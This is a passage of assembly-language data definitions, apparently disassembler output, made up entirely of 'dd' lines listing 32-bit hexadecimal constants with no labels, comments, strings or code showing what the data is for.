		dd 1C088AD6h, 8F015B71h, 0DBF38046h, 0CD54503h,	0E9A0E8B0h
		dd 94A0048Dh, 0C1809E50h, 0B9FC1FC4h, 0CE60809Ch, 0D276BC1Bh
		dd 9FCD6812h, 0CBBD3805h, 0BBAE08C1h, 99CE1820h, 60D424FCh
		dd 2A1968B7h, 0E7CB68C7h, 8070B253h, 9A51FB0Fh,	3ECDF0D8h
		dd 0F80F895Ah, 570AF72Fh, 715089E8h, 0D1D3E40Eh, 50F21DF4h
		dd 0D0C3C5E4h, 0CBA50E00h, 0D6D9E287h, 1097CC1h, 562B13A1h
		dd 0BA58BEF3h, 686C0540h, 8C45CD5Ch, 18C0D3E9h,	9A9D67h
		dd 0D63E5F8Bh, 41FE6AD9h, 0FA0DFB00h, 3FDF66C6h, 88CB0EF8h
		dd 61C09BBBh, 0E8B3B418h, 0A27D358h, 0C8432999h, 125EE488h
		dd 0A59C0447h, 4853EB85h, 0C0621452h, 0C050EA58h, 5094692Ch
		dd 60A846h, 0B002909Eh,	388BA61Bh, 1333B900h, 86235F99h
		dd 0F8E70646h, 3064AF69h, 34F00CB2h, 1B58B260h,	30490471h
		dd 4B10F340h, 27039499h, 881E83F4h, 0FA9003AFh,	5C80CD8Fh
		dd 0F78D08Ch, 5305F6A5h, 868D778Ch, 94B5B400h, 5A3276B8h
		dd 0F08CF43Bh, 0A3291502h, 81D174F3h, 0D72C76ACh, 0A422DCD1h
		dd 0FCF742C0h, 3659C11Dh, 0E18041F8h, 60A835B9h, 9B40E634h
		dd 7A230F5Eh, 68822A38h, 1C6BBFD8h, 0CD9004DDh,	220801Ah
		dd 9100B7C6h, 0F965DF8Eh, 5C3774Bh, 800F76CBh, 0F04030B5h
		dd 3D662CF3h, 2E185860h, 8B68DD61h, 0DC8383FCh,	0D0F55D76h
		dd 36F38450h, 5F306564h, 0F54C10F0h, 85B2D840h,	0ACED120Fh
		dd 56A1161Dh, 0CE50083Ch, 0A6294CC0h, 0C5060066h, 841152E9h
		dd 0E53162A5h, 0F6C6F035h, 2443E464h, 2A0051F8h, 0CD363AA0h
		dd 0D91E127Bh, 0DC449213h, 2BC85F02h, 0EB8E6884h, 5D723002h
		dd 1180680Fh, 895201A6h, 76E649B5h, 0BAC434F1h,	0C7CD9B01h
		dd 73F3FFA4h, 0CE48C64h, 0DD0F403Ah, 227D9EB9h,	1F77600Ch
		dd 26CC38A9h, 0A498454Eh, 23828A2h, 8C32DC3Fh, 0E4C0934Ah
		dd 0BB80EE11h, 0F081DB3h, 0B8D052B7h, 0B16D112Ch, 553690Ch
		dd 0D44C51B0h, 211D8718h, 5804606Ch, 2D249F4Ch,	0D2DD00F6h
		dd 0E8EE7769h, 2CA42894h, 9268CC05h, 0BC86F490h, 161094B8h
		dd 7614077Fh, 0B4309C60h, 77058405h, 648017C0h,	4754073h
		dd 1569F4C6h, 0C49C9095h, 0F8BAF608h, 4C31F74Bh, 8034DD1Dh
		dd 0EC0D5241h, 82A5760Ch, 0F54AD020h, 9841340Dh, 7F097422h
		dd 4030AF15h, 20A01041h, 0BF506E0Eh, 7F01F80Ch,	776DA4C3h
		dd 0B5003CF3h, 2100C298h, 7F4BA50Dh, 58345C9Fh,	460110D6h
		dd 0F34F2BD5h, 84002F05h, 0F1803CE4h, 0CF1D15DBh, 0C5C8C3Fh
		dd 78AD7F10h, 602F806h,	17E8CAD2h, 0E04AF3FCh, 1E18016Ch
		dd 0F4E937B9h, 43D40038h, 72D5FDBAh, 849CC55h, 80251ED8h
		dd 0A608513Ah, 4B41ECA8h, 60C0F99Ah, 9C1E101Dh,	72FD0B71h
		dd 0F9CC1010h, 0B44B00A6h, 9C8CB708h, 0E0A2470Dh, 3CA0904Ch
		dd 6D803701h, 0F9950008h, 7C09F3E3h, 0AB0CD697h, 20453176h
		dd 6B4A133h, 7C546028h,	9C51749Eh, 0E7CCA30h, 0E483D312h
		dd 0E6C71698h, 0F328110Eh, 47095046h, 5B6768h, 9C24090Ch
		dd 0B6B10B30h, 5820E21Ch, 0C4F421Eh, 611D5CAEh,	24603777h
		dd 84AD3h, 9839B2D0h, 6B4AD21Eh, 130D5805h, 6E3EB0C0h
		dd 705F13D5h, 141351h, 0F542270Ch, 7A0A257Dh, 0D06688F3h
		dd 17D5330Fh, 0BE1B7C71h, 10F2024h, 0A140E3D8h,	61FC1F56h
		dd 76802450h, 532920h, 0AF5283ACh, 2BF3F8CEh, 0F7481D61h
		dd 0B073A0BAh, 56539C00h, 5E26071Ah, 7FDBAE1Fh,	536424h
		dd 7EEB8CD8h, 0AEC625F2h, 29730501h, 0A89F6C78h, 475C042Eh
		dd 6E4081BEh, 49F602D1h, 69103F94h, 9CA0ED5Fh, 0E896DBCFh
		dd 0C8C0ABE4h, 4878CD03h, 6ECB6845h, 496CC98h, 0B877AB80h
		dd 2FE72044h, 98D9C480h, 0A0ADD9CCh, 0A7DB12CDh, 4B7C005Ah
		dd 25E7EA6Eh, 7B1BD802h, 502755D9h, 6BA530E0h, 537A1EF4h
		dd 3BFBEB74h, 0D4FB680Ah, 509D7242h, 48763F2Ch,	306C39E0h
		dd 5F303A0Dh, 8F390CBh,	7D250263h, 1DA176BDh, 0D0071078h
		dd 0C04267ADh, 4ACE9081h, 40EC1871h, 3D84A4F6h,	780E156h
		dd 0A091B27Dh, 84306F09h
		dd 0C41B895h, 0FFA0132h, 0A76A5EE7h, 0C0B9E0B5h, 225F1F14h
		dd 9DF70008h, 0B6575D10h, 68C11A7Eh, 7848618Eh,	0A512169h
		dd 0A684F8A0h, 9C86DA01h, 0F1F4DC7Eh, 0A22C34h,	2706EC4Ah
		dd 0C43999C5h, 0C1005BE0h, 0CF616687h, 79084A2Ah, 231D1245h
		dd 1A148026h, 0D200DE02h, 0AF19E61h, 7965BEE4h,	0CD762563h
		dd 64906858h, 69006170h, 7414040Ch, 267764C4h, 82DC51CBh
		dd 2F57D38Ah, 46CFEC68h, 0C263898h, 0F891D472h,	1E98249Fh
		dd 5E10F006h, 430EE16Ch, 0BEC0CD0Eh, 68822410h,	8480D553h
		dd 52175F62h, 6039842Ch, 0C1035409h, 59ACB158h,	0EA4B8014h
		dd 5DC7E13Eh, 0AF4E0417h, 7C0BD056h, 3EE024FCh,	729DAC81h
		dd 0A5004868h, 0EF27958Ah, 0E4EA4C0Eh, 2E0F9102h, 0E26ADC26h
		dd 436491E0h, 0B47F9420h, 0AF980C24h, 0C65DD518h, 0C0FB1600h
		dd 0F0401C00h, 3E57CF7Fh, 6F130F69h, 0F5EC42B9h, 0B0C82A76h
		dd 149B667Dh, 0CC9A048Ah, 0AF72F103h, 6D6D0E7h,	0B76801A6h
		dd 0F3CDC818h, 493C2243h, 69406144h, 88402586h,	611DDA59h
		dd 0B56889B7h, 0B3080E3h, 52CB2975h, 0F8A4607Bh, 71D75709h
		dd 74AD0F00h, 0F6B58AC0h, 0E27DF252h, 47580765h, 0C00770F9h
		dd 37E662CFh, 9F1238B0h, 473FDh, 0B503A2F3h, 8125E3E9h
		dd 3F648253h, 0C07200F4h, 0BE164B99h, 0B4A0EF76h, 0CE603C65h
		dd 47FF6A17h, 0CBB34B58h, 61731090h, 0EA558h, 0D3051140h
		dd 98EB1DDh, 67196824h,	9F24E0E6h, 57930418h, 10EDCF0h
		dd 7153D4ADh, 34B29B1Eh, 0DB01BD08h, 0BBCF1108h, 0E052C6D7h
		dd 0EF200F30h, 879B7B04h, 7404A575h, 2B80B35Ah,	135A4B0h
		dd 0A6129467h, 0D43416CFh, 85775415h, 3FB16813h, 0E49D644Ah
		dd 26D90B4Fh, 0CA9FBDCh, 0E2CBF3F0h, 0DE480620h, 2D64D08Ch
		dd 0B718601Eh, 22D4146Ah, 0E909898Eh, 9045092Eh, 8108F400h
		dd 2765B6B7h, 0CD8A5F8h, 0E0530B4h, 0CA0791Eh, 909EF8FBh
		dd 0F58C0120h, 19F3FA70h, 0B2944063h, 69000387h, 0D89BBB6Ah
		dd 0C65AB0h, 0F7D36FB3h, 586C9E60h, 25BC4A02h, 0D827F4D0h
		dd 685E0388h, 51723422h, 455C83A9h, 96647780h, 8F008186h
		dd 98CB6A5Fh, 409FC8h, 6010BDFFh, 4E22B76Fh, 0B860B64Bh
		dd 7FEEE64Bh, 25FF166Ch, 1E3D07D1h, 295590E8h, 0BC9CF381h
		dd 1D648B01h, 0C3094F8h, 741A0205h, 2209681Fh, 7D404808h
		dd 1A6AECDh, 6C4FA711h,	8087A51Eh, 97CBF7A0h, 385ACCEh
		dd 0F3C1EB12h, 0B4A4B57Ah, 0BC185508h, 90A86F08h, 0EC772068h
		dd 870A9B3Dh, 0AD69A943h, 0E17E5C3h, 22596478h,	5B734C81h
		dd 0B63F30B3h, 96F9800h, 0BBF39FEEh, 0DA60C0C1h, 0C334058Ah
		dd 0B9EB700h, 4BC03F67h, 0A6DD1F99h, 0D680B913h, 58E0639Dh
		dd 7660ADF3h, 617E0F38h, 7405009Ch, 1049B79Fh, 0DA011141h
		dd 0CCA8EDAFh, 9078B1B4h, 5789033Dh, 0E4A8ACD1h, 0A82619D8h
		dd 0F51EF965h, 0F3845366h, 60167AEBh, 0E8007FF5h, 4B637E05h
		dd 12A4A496h, 34CDA0CCh, 0D7C402D4h, 7BC096BAh,	4C004FEBh
		dd 895D0FE8h, 7EC4341h,	1E0811C1h, 488019C7h, 249EE2DAh
		dd 51D9C61Eh, 184F9052h, 0CC60D044h, 136BA608h,	0C2DC56C2h
		dd 0D004185h, 1DD32084h, 5CC4801Ah, 403A7EA1h, 0B89732F3h
		dd 203C7850h, 7610AE06h, 0A500FB26h, 0E69232DAh, 0DE095336h
		dd 0E02768D4h, 0A063A0h, 761AC94Bh, 0DFD2D3A5h,	0B9882450h
		dd 48548240h, 7F8F04E1h, 8894F58Eh, 1D1E0A09h, 0BD9C2420h
		dd 0A04C9BEDh, 56AD0004h, 0D265FB15h, 70B0CDh, 2CA383FFh
		dd 0A5FCC911h, 0FD2D7F0Fh, 0E9CC00AAh, 0A0C4B91Eh, 4BBAD90h
		dd 0B46869DFh, 0C1AC8042h, 84541E7Dh, 0EF09EA80h, 1189616h
		dd 9D8B1B8Ch, 3860B5D5h, 0C60D07D4h, 8053E574h,	80BAC7C0h
		dd 8C577630h, 0BA0E25F3h, 0CCF52084h, 46FC7100h, 0C6C5ED0Fh
		dd 0C0F31825h, 750554CFh, 0AC4CB703h, 8BE8F81Eh, 80F9A661h
		dd 802637D8h, 80FE53E4h, 0F6E93C94h, 17500EA0h,	0E367B762h
		dd 11596C43h, 2AF308CCh, 0D9560CECh, 1441C810h,	4A4CE840h
		dd 0B242059Ah, 0CE4E51h, 6837E5C4h, 195398Bh, 0DD277708h
		dd 282DDCF1h, 3C88092Ch, 9C60817h, 40442118h, 0A4026FE9h
		dd 0F02B710Bh, 0B1400054h, 69DD4B96h, 1C9A1DF7h, 453C6D09h
		dd 0A97C8FDAh, 0F9F4E056h, 0A098834Dh, 24B00F29h, 9928D540h
		dd 2C09A714h, 0CD077440h, 26E2227h, 79DF56C4h, 0CF990004h
		dd 0F355C0F6h, 7680D7FAh, 43404FA0h, 0C5204ED8h, 23E94BF8h
		dd 0E083B01h, 0C4557D26h, 1C48E82Dh, 92672A04h,	0C55A00BAh
		dd 1DC01A4Fh, 1DCF546h,	0A76E6DAh, 7E9442D3h, 0F3C18463h
		dd 63C46421h, 431E5090h, 0D3816807h, 756E4C03h,	98D231ECh
		dd 0D4AA3018h, 0D50EBFB8h, 77802804h, 18A886D1h, 0CCE008D2h
		dd 0A7C429AFh, 9F07CB6Ch, 775215C0h, 74019D41h,	651C69E7h
		dd 296065DCh, 0A2670218h, 5141FAD2h, 0B0A0B0h, 12A4EA02h
		dd 0C9459F73h, 1E8FC104h, 9B0084FCh, 1CA66775h,	726D4C00h
		dd 0DEE24516h, 81F410D9h, 9EF73506h, 59EF6044h,	0B13A9D01h
		dd 41AC70E9h, 90D809Ah,	209C631Eh, 60E3CAEBh, 14CD66D9h
		dd 0C614C83h, 9E9F4A01h, 0FB325747h, 4B03FEC8h,	4C2CF94Dh
		dd 4DB90ECEh, 76678FA5h, 40D18100h, 9682FBh, 3F5794BDh
		dd 0E7924BF8h, 6773AB01h, 54C44ABFh, 241EDAC4h,	83089677h
		dd 0CDF4D325h, 2976A109h, 0BEC8A22Dh, 0BB8597Dh, 0A4126DA5h
		dd 0EA0930D0h, 68351EBAh, 9F324h, 8A07D6E8h, 6E683057h
		dd 6730CC60h, 8F1A5Fh, 0C1DCDA7Eh, 8AA602F9h, 0D41AECAAh
		dd 7E33FC41h, 68D36001h, 209EB465h, 8222762h, 0F0E081A7h
		dd 0C1D31FEAh, 8B4DF00h, 0F1A9B369h, 30781422h,	0CCB1F16Eh
		dd 0EC584908h, 0CE360020h, 0C020A41h, 0EF281F78h, 0E1CB8005h
		dd 44205EBDh, 0A17D307h, 101E2A1h, 66204062h, 65E80BACh
		dd 0C8C0FDB2h, 0FA176D16h, 0B0F06A1Dh, 0D6F42C09h, 8AF787C0h
		dd 9C934B58h, 0AC5280C1h, 0A116B811h, 2EB628A4h, 0E954BE4Eh
		dd 1D17B4C6h, 78409065h, 0EA26964Dh, 88D24B8Ch,	21029B40h
		dd 0B3B0F6F3h, 0D340C0DDh, 6284A032h, 0A834540Fh, 0F4CD5D7Fh
		dd 0A2CE4BC5h, 30B348CCh, 870F685Fh, 1ED53CBCh,	20F12893h
		dd 7653F440h, 540982FAh, 81AA8DC3h, 0CB0E9394h,	285CC42h
		dd 0AB02A42Eh, 1E0860BDh, 1D20C21Bh, 44C0FADBh,	870FB2F8h
		dd 166D829h, 0B3E2C139h, 97C0EFD1h, 0F66303A5h,	0FF701E0Eh
		dd 0C3983000h, 0F39A9DE5h, 0F4009726h, 72FE3CAFh, 90E30A2Dh
		dd 0BED2F374h, 5C9C0008h, 1BFA3EC7h, 954B7A1Ch,	0F9ADA641h
		dd 0B03841EBh, 0E0E759A0h, 0BC495Ch, 0A2209E11h, 4EF0C40h
		dd 776AE2C2h, 0ACFCADh,	12C6696Dh, 1040B9h, 0B76F960Ch
		dd 7DD36B5Eh, 689CCC04h, 38A4D9E9h, 91D02E45h, 0D26D0B88h
		dd 6FE0B4C3h, 920F0BA1h, 856065F6h, 58D27976h, 135C50CDh
		dd 0F088691Dh, 8A7F4B34h, 9CD5D092h, 0CF7A007Ch, 61E6C0C9h
		dd 1654B20Fh, 0D7A94C76h, 27C5A31Ch, 6439F3F8h,	31DE40C1h
		dd 0EAE8F740h, 0FD8325B3h, 0E092D843h, 0D5C3A082h, 0E4245E02h
		dd 5868B6B4h, 4E4832DEh, 911D0BD8h, 0B27CC402h,	9C24B8F0h
		dd 0C67644E8h, 0D2649860h, 1097FC96h, 6348CBB2h, 26F1F030h
		dd 6B200477h, 8280DCC9h, 4A005858h, 3D4FB72h, 0C21F601Dh
		dd 5904E073h, 54A6F8B7h, 0F3F59880h, 1809634Ah,	88128406h
		dd 18B07E03h, 2B50301Eh
		dd 69771A39h, 885A59h, 9EFF9D63h, 9229F3CEh, 1E0F0BCCh
		dd 8CAE55F2h, 74A40629h, 9AB8BCB4h, 12ACF660h, 84EC0BAAh
		dd 0DC5C5012h, 0D0E6EF12h, 9B4DF704h, 2409929h,	0D000928Ch
		dd 0C052FD68h, 0A684CB50h, 1E12B8D2h, 0E8D8B1A1h, 72BCA243h
		dd 0F6252014h, 1F687B09h, 6F3C20C6h, 0B026688h,	47A91DB8h
		dd 0B601B4E4h, 0A37A09FAh, 7ED463D8h, 825400DEh, 89C1E2D0h
		dd 4E0067A6h, 945759CAh, 98C51F9Fh, 0BA4A0078h,	86A5DA0Fh
		dd 9E07B920h, 1E88CBBFh, 7DC5869h, 0A4F7F343h, 2468CB18h
		dd 205B9776h, 1E02D020h, 12449EE0h, 0DC56FBC1h,	0AD1D3C60h
		dd 6874BE95h, 4556C0B8h, 0EF61C2E9h, 0E632F3E8h, 2E00186Ch
		dd 2A63ECE4h, 2B04DE28h, 0B17268B8h, 7C7C488h, 1C22A9C8h
		dd 866E8073h, 3307FF18h, 7768F7BBh, 25A83DF6h, 0DCC0F5BAh
		dd 2D0E60D9h, 0C0F381E6h, 0AFE3D0A5h, 0F4120286h, 0CAC175BDh
		dd 749DCC0Eh, 0E8F550A9h, 8AA5809Ch, 2FE899h, 0A67FEE8h
		dd 822C2C1Eh, 0DBC080F4h, 0DECD02F4h, 60FB150Fh, 0E9AD609Eh
		dd 0CD3A5FDh, 0EA82633Ch, 0F000AEC0h, 0D1DE279Ch, 16012969h
		dd 4D3BBA6h, 14FCF7Ch, 0E10957D9h, 400C4474h, 4A00FE7Bh
		dd 3FF04099h, 8C7DECh, 98B680C1h, 1A481059h, 1E90D409h
		dd 0AA28400Eh, 51D4A01Dh, 0CBEA809Fh, 0FD13C0BBh, 0ABC568A7h
		dd 4CCC576h, 0B38400h, 0A65E7FA5h, 0CB6902E0h, 0F40CF8Ah
		dd 0B0EA7C56h, 0FDDCE925h, 77160B08h, 70E0C725h, 0EAD6409Dh
		dd 1003EE2Dh, 2DE8490Ch, 14801556h, 0C8F268D2h,	0DF8824BEh
		dd 94B50020h, 11BDA591h, 150FA17h, 301D10D8h, 0A9F820E7h
		dd 234C5F18h, 0F84082ECh, 6F8680Bh, 9AA0BEDEh, 4CD071DBh
		dd 0FF138499h, 10CB6E12h, 41FDC01Ch, 6BF41133h,	16B83421h
		dd 456EFE01h, 2D8A68B5h, 1764E840h, 0B46A7D1Eh,	69F807FCh
		dd 0CD6590F6h, 0CCA882A6h, 8E98F081h, 2C89A724h, 9E35F380h
		dd 9FDBD69h, 0C4DE4603h, 57889822h, 9D422076h, 9963C0F8h
		dd 631D2DDBh, 42B05CC3h, 0E37991C4h, 2288969h, 464346CCh
		dd 0C7762EE4h, 0F7D28370h, 0E3B8A19Dh, 0A6001E1Fh, 4ABD0E6Eh
		dd 987CB3B8h, 85074E6Ch, 0C110203Ch, 55129DE6h,	3090DFA9h
		dd 28F33DC4h, 82882073h, 0E898F09Eh, 5480C5F0h,	0B80C806Eh
		dd 5F0065FCh, 91DBE46Ah, 7DE7C10Fh, 90F56976h, 0D49CF8CCh
		dd 0D9BC096Bh, 0A9C4085Ch, 3136DA80h, 13BBC3EEh, 4B46D4E7h
		dd 6416B538h, 4C73B25Fh, 0F7081D7Eh, 5DD1C6E4h,	76131080h
		dd 0B8B4BD0Dh, 0CB420AA6h, 6801CF8h, 0E967F33Eh, 0C31F9E00h
		dd 5A68924Bh, 0A66300F6h, 2164F2CFh, 8B77535Dh,	2F9C009h
		dd 0D2A889ACh, 9D8704B8h, 27E08F7Dh, 0C964E910h, 69E60701h
		dd 0C0C26C5Fh, 4FCBD5A2h, 680DD227h, 70859974h,	0E4801FEh
		dd 50B21657h, 5CFAECh, 53094D1Eh, 870E0h, 8A6C56DAh, 62867E0Dh
		dd 0FB17B70Bh, 136C1B08h, 0E1C45110h, 933F2164h, 90886769h
		dd 0D9A9406Ch, 19CB5B12h, 0D0648C45h, 9A428700h, 649D1E06h
		dd 0A0FD58C1h, 743769D8h, 7F8168B0h, 0EC489EB8h, 2C8648CBh
		dd 58563E18h, 9B26B904h, 3A1693FBh, 0FC5DA412h,	14F95149h
		dd 972D25F0h, 48E2C8E4h, 0BC98F14Fh, 0ABDC2811h, 0A80324B8h
		dd 679489E8h, 6B07400Fh, 387B82CBh, 0D1787472h,	0EB301D27h
		dd 4CF7A884h, 1C77E416h, 4CF0B923h, 0D0704ACEh,	7653F304h
		dd 548C83A6h, 0AB298496h, 9A00F415h, 8F34557h, 79AD04C0h
		dd 0C06B5963h, 6ECD0568h, 0A1C36400h, 50954BE2h, 0F55B0018h
		dd 59B1D2A5h, 0F3274870h, 70081CCh, 78DC2BE2h, 2A6827B7h
		dd 0C747842h, 0A58ABC26h, 0F3044884h, 0C21FF8BCh, 9A4BF7B9h
		dd 0E4085089h, 7D9E8914h, 0D6021405h, 7013B9B8h, 1C5D28DFh
		dd 3A9C6814h, 0B8D43366h, 0CCF8B44Bh, 8994F093h, 7D80AF0Fh
		dd 1C6B00FEh, 2C566662h, 81247053h, 0EC48B6FDh,	94BC3C5Eh
		dd 8A82817Ch, 1B3062ADh, 2CE4001Ch, 0E22DAED1h,	0E7606BF3h
		dd 15B9F7B8h, 1D0499CBh, 1014DA76h, 58106C54h, 9733BF00h
		dd 0C3B37017h, 2EB44Ch,	7D898B5h, 5BF3C5E7h, 70E01426h
		dd 669A4700h, 3D02F1D4h, 3B3CD0F2h, 4BF989DFh, 1240D29Fh
		dd 4583711Eh, 91BBCE38h, 2E720A10h, 0F8C1FC40h,	0F0DEA176h
		dd 60A19FDCh, 37330CCh,	42A0EA69h, 42545E74h, 68C8BD76h
		dd 0F448271Dh, 0C8163B9Ch, 0F9680A30h, 779FD0D4h, 0B6128068h
		dd 54E24E2Fh, 0EF545780h, 7E04E253h, 7FFD6473h,	549ADCB0h
		dd 1CFF855h, 0DBC296Ch,	832CE5F4h, 0C47ECC50h, 0D3A00435h
		dd 0A05676E6h, 309DCDF0h, 63EBCC60h, 7181C990h,	1B47825h
		dd 98F91870h, 0E6B0D441h, 0F0665E01h, 0C5C226Eh, 1DD709BCh
		dd 0F69C61FFh, 4016D470h, 647BCC3Bh, 0FBE9BC0Bh, 19047061h
		dd 0C0AC88C1h, 0F1C070FCh, 513CA00h, 40D40C62h,	8C38B911h
		dd 0FEA9C524h, 0F316A49Ch, 0AB826400h, 31BBD5Bh, 63E94B76h
		dd 9DD462Ch, 74667CE4h,	94889495h, 68676090h, 0F092C0A3h
		dd 525DE506h, 198AE8Ch,	0CACF653Ah, 89F74AF3h, 815BA630h
		dd 701BD45Fh, 0CB1EBDF0h, 0FCE4A218h, 0E9C16771h, 0BF367766h
		dd 4BB0453Fh, 0A714009Bh, 0E154CE6Ch, 84F25781h, 0A8C0CB8Ch
		dd 9E2544A1h, 38E627C8h, 7002094Bh, 5A627799h, 0B16E008Ch
		dd 4BA8BB6Bh, 0F900E071h, 7A25CC09h, 0D2740565h, 30981381h
		dd 1A28A198h, 0BBB81002h, 0FEFDBE68h, 58C8BE04h, 0D198C185h
		dd 60F0F554h, 5F0029BCh, 448A421Ch, 3E2133D5h, 0E1690B77h
		dd 2F20246Ch, 80D100AEh, 4803D7F7h, 0D8C353C1h,	0BCB328F3h
		dd 3BF03C00h, 0EC301DF9h, 0D0997032h, 0B47A0013h, 0A3569D61h
		dd 9898F65Bh, 27286B72h, 7778D4C1h, 26611A00h, 43576AD9h
		dd 6EB312F8h, 2A02DD3h,	5E001FE0h, 18CCD1Bh, 0FF4905D2h
		dd 0E0D4A5FDh, 500CBBD8h, 281169F3h, 0A6EC064Ch, 0D101EB72h
		dd 9E246520h, 0A889C9B0h, 48BA1820h, 0EC75F7F0h, 0D0247D81h
		dd 0DAE48824h, 7488714Eh, 38C48427h, 508C6B5Eh,	54DB44F8h
		dd 3A10D949h, 0DA945DF9h, 80B44560h, 953D8655h,	0F31287D5h
		dd 8CE20EE6h, 0EB85C107h, 1BF2C2F1h, 7C9EAC79h,	7742C941h
		dd 0DC50BCAEh, 15EE9DAh, 0F7990323h, 0D107F5DDh, 0DEF3C458h
		dd 13FC223Ah, 0ECC84B6Dh, 0F16B4AC9h, 418C029Ch, 0F3E3AC7Ch
		dd 0FC0CFDCEh, 121AD618h, 0A47515h, 0F58B075Ch,	7A57D6AAh
		dd 58760B20h, 0B6500163h, 9DE0AB90h, 9B89294h, 0B4E4F380h
		dd 3C7CFCF2h, 86A57803h, 0DC3A7727h, 0F02F6891h, 0FCC0508Bh
		dd 4D4068D0h, 0B60500EFh, 0E4A1B7A0h, 4C000E38h, 0CF1580E9h
		dd 0D3E861h, 59685F1Eh,	0C0626A33h, 1D13E370h, 984960C5h
		dd 1E385A0Dh, 92534499h, 8BCC0BDAh, 541BE880h, 0F81FCFC9h
		dd 0D07024F3h, 0E1480419h, 0C13801FFh, 0E269E789h, 9CF08077h
		dd 54DE5B44h, 82BC396Eh, 0FAB4AE80h, 1FE8D4Bh, 0A6044607h
		dd 5410D6DAh, 12A79BF1h, 56BFE2h, 0B61CD094h, 4B00E302h
		dd 0EFEEA07Fh, 68ABD2h,	401E558Fh, 6B986FF3h, 585F753Ch
		dd 89320057h, 7E071A10h, 1C78BEDBh, 0ABF14AF3h,	85A200ACh
		dd 1DD492A4h, 0A9F836D8h, 6A5E07FFh, 0D9A28E90h, 1540E8F2h
		dd 25564027h, 0D7AEEE16h, 1794D000h, 0CBF193h, 63CE0913h
		dd 4FE11E03h, 0BCA6F4B9h, 0AB685E80h, 7C910A4h,	6F0A15A8h
		dd 3FF187CDh, 0E0FF17A5h, 285A5858h, 48B5A8C0h,	42D8B0EBh
		dd 2F31FC5h
		dd 0F0888093h, 0C8094D4h, 7D89C33h, 21A41E1Ah, 1D33D680h
		dd 9ECE00E4h, 0CAB7C645h, 0BC09277Bh, 40084C76h, 2EAD8488h
		dd 39343593h, 0C22310h,	839D4C6Ch, 0E6E9C108h, 0CC4B0070h
		dd 0D409F73h, 0A2F0F39Ch, 0DD1ED8C0h, 48A894F9h, 0BD1024E9h
		dd 20FD2401h, 1B9FE407h, 821B6617h, 0FBCA320h, 0C1BD7B4Fh
		dd 0FA4AE3A0h, 4EA878DDh, 8BF3C821h, 90CB304h, 0D0B537F6h
		dd 0EFAF204Ch, 2F94802h, 0F4C2C0D0h, 10690B9Ch,	9130046Eh
		dd 68D3F002h, 18E560C5h, 13E15C73h, 7090D870h, 39F00B0Bh
		dd 0CCC905B9h, 5003A809h, 46561F30h, 91ED0CEFh,	4D045718h
		dd 29510F49h, 0C405F4A6h, 0ACC7EC68h, 0F2A186B4h, 1DC49C99h
		dd 77E068E5h, 287F07F7h, 0C0601CD4h, 59B726Dh, 8054939Fh
		dd 396B65A8h, 0AF8E5FCFh, 0A9C06EB2h, 40CE0712h, 70D9F628h
		dd 0B980437Bh, 0F416029Ch, 0CD97CC0Eh, 90DEACE2h, 42E8D30Fh
		dd 3FC8A8h, 0DD03F405h,	8343F8A8h, 0D1676100h, 0F56BF840h
		dd 76BB0C59h, 0A7580F45h, 20F07F58h, 0CCF60EF9h, 40938E9Bh
		dd 116FA8DCh, 0E4B9F5E3h, 973FF908h, 4CFC6283h,	691C88EDh
		dd 13CCEA15h, 0E8300B12h, 150D7472h, 0A4DD9DBBh, 6A805F2Eh
		dd 0A4B008ECh, 43BE40Bh, 9CE87E08h, 199CDC00h, 0C89A779Eh
		dd 78D530C0h, 828D41F3h, 143FD4DCh, 10F03958h, 0A1789836h
		dd 0B6FDCEECh, 1E0071E6h, 4019AD91h, 0BB884228h, 0DF0F74E0h
		dd 0E6A4A99Dh, 2754B22Ch, 3C81E6CCh, 30294569h,	2313BB94h
		dd 18A74709h, 0D6773C7Ch, 1196F317h, 0B013D0A3h, 132112BDh
		dd 6334E0D0h, 41165F07h, 0B270C57Eh, 0A8973E4Fh, 0E6DA3684h
		dd 0D4A912CCh, 0C9C84049h, 623D1164h, 9445C74Bh, 8C1EBB71h
		dd 25CE7A01h, 613A1F29h, 34997Ch, 3076E3D3h, 0B4182F44h
		dd 4C90CB6Eh, 7D3AB2F0h, 455CADA5h, 0D20C027Ch,	0ACC90DF4h
		dd 8012AF5h, 68451E08h,	0F420247Ah, 2DF94D60h, 0B9DC4F8h
		dd 24984CCh, 78DE02F5h,	48495565h, 69E5E577h, 90A02B4h
		dd 6AB8F51Eh, 70FC9Ch, 318B78Ah, 7713993Ch, 4F5B938h, 1357E8EFh
		dd 0CF8409ACh, 20586268h, 82BC1D27h, 47839Ch, 9FAB707h
		dd 809C0F00h, 410414D7h, 98899DEAh, 0E380688Fh,	856AF6A2h
		dd 80012412h, 76D0080Bh, 5F243DE0h, 0ACBD454Ch,	41280544h
		dd 0D4BCE9EBh, 1884ECB4h, 510F76Bh, 0B8D40168h,	761C1195h
		dd 0CBEC3060h, 6123800h, 185F69CFh, 35CA3925h, 3D043BF7h
		dd 702054DFh, 0A55E10h,	61C3489Eh, 54F49Dh, 6AA60562h
		dd 55C012FEh, 35954B00h, 26E88183h, 7FDFFAD7h, 249C4B52h
		dd 10F8020Ch, 0B84032D5h, 618287B4h, 69096D50h,	5A085C90h
		dd 760844CBh, 0B70032D0h, 2977879Ah, 6861C038h,	0EFE19D3h
		dd 4850DA1Ah, 3C08C129h, 977D9FCh, 111E8D53h, 0BB2D74C0h
		dd 4B258778h, 0AB68C86Ah, 80937D38h, 0C9602F68h, 1B7A4B78h
		dd 0EFCE00C4h, 5ED26765h, 0A378D817h, 1DD3DA03h, 784C2677h
		dd 2F17C71h, 56D9BD9Eh,	0E080D8A4h, 779D731Ch, 2936DB30h
		dd 0B68F267h, 0A3F3EE3Eh, 0BC5434A4h, 680497A4h, 0B09CA559h
		dd 4946408Ah, 0E376F109h, 10A4F940h, 86A58499h,	8C1500B2h
		dd 1E14B884h, 0F10478A1h, 0C16CA333h, 223051DCh, 724D80A4h
		dd 9CDE4329h, 0B7D40BD8h, 3C9954C9h, 0D3017C4Ch, 9403F5FCh
		dd 11F5F816h, 8C1D188Fh, 50A4B3F6h, 63404428h, 971F245Eh
		dd 5FC1E88h, 0B675F0Ch,	0C068FA08h, 0F3550D72h,	545CF6FCh
		dd 776ADB81h, 1D00B83Bh, 1090EBA3h, 9A4C0701h, 0CCADCE84h
		dd 0F50FC8BFh, 0EA800E90h, 3854B32Bh, 6475FE00h, 0D518225Fh
		dd 4099032Ch, 8AF365FFh, 6823AF98h, 7054CAEFh, 4AD4DD02h
		dd 0E38085BEh, 941068E9h, 1FDC40CEh, 0FE6608E9h, 0EB9B07BBh
		dd 60FA5B09h, 53F6D36Fh, 0C8AC797Fh, 0A4F52D2Ch, 2905C8A0h
